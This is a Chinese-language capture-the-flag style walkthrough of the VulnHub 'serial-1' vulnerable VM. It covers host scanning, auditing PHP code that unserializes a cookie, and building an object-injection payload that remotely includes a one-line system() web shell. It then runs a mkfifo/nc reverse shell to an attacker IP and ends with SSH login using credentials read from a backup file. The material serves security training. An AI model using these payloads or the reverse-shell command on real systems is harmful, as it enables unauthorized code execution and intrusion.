环境搭建
漏洞环境:https://www.vulnhub.com/entry/serial-1,349/
下载后使用vmware打开
创建新的虚拟机:
选择客户机版本为ubuntu 64位:
一直下一步,知道选择使用现有磁盘:
选择下载的vmdk磁盘文件:
开机,环境配置完成:
漏洞复现
探测主机存活(目标主机ip地址)
- 使用nmap探测主机存活或者使用kali里的netdicover进行探测,我这里使用的arp 直接扫描本地主机 速度更快
nmap -ps -t4 192.168.252.0/24 //可以顺带扫描端口
arp-scan -l
访问下web
抓一下包发到重放器中看看 发现 cook 是被加密的
base64解码
解码网址:base64 在线编码解码 | base64 加密解密 - base64.us
目录扫描
代码审计
下载下来三个文件
index.php:
<?php
include("user.class.php");
if(!isset($_cookie['user'])) {
setcookie("user", base64_encode(serialize(new user('sk4'))));
} else {
unserialize(base64_decode($_cookie['user']));
}
echo "this is a beta test for new cookie handler\n";
?>
user.class.php:
<?php
include("log.class.php");
class welcome {
public function handler($val) {
echo "hello " . $val;
}
}
class user {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new welcome();
}
function __destruct() {
//echo "bye\n";
$this->wel->handler($this->name);
}
}
?>
log.class.php:
<?php
class log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "log: " . $val;
}
}
?>
创建一个php文件 来直接一步到位使其 反序列化 和64编码一步到位
3.php
<?php
class log {
private $type_log = "http://192.168.3.222/c.txt";
}
class user {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new log();
}
}
$obj = new user();
echo base64_encode(serialize($obj));
?>
c.txt
<?php system($_get['cmd']);?>
运行 3.php 得到 反序列化 和64解码的结果
木马上传
将其放到bp里 注入下木马 以get形式查了下 id 可以看到 成功上传
添加反弹shell:没有回应,但反弹shell成功。
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.252.134+2222+>/tmp/f
ssh远程连接
查看根目录发现存在敏感文件credentials.txt.bak 找见sk4的密码 直接去物理机ssh远程连接
发表评论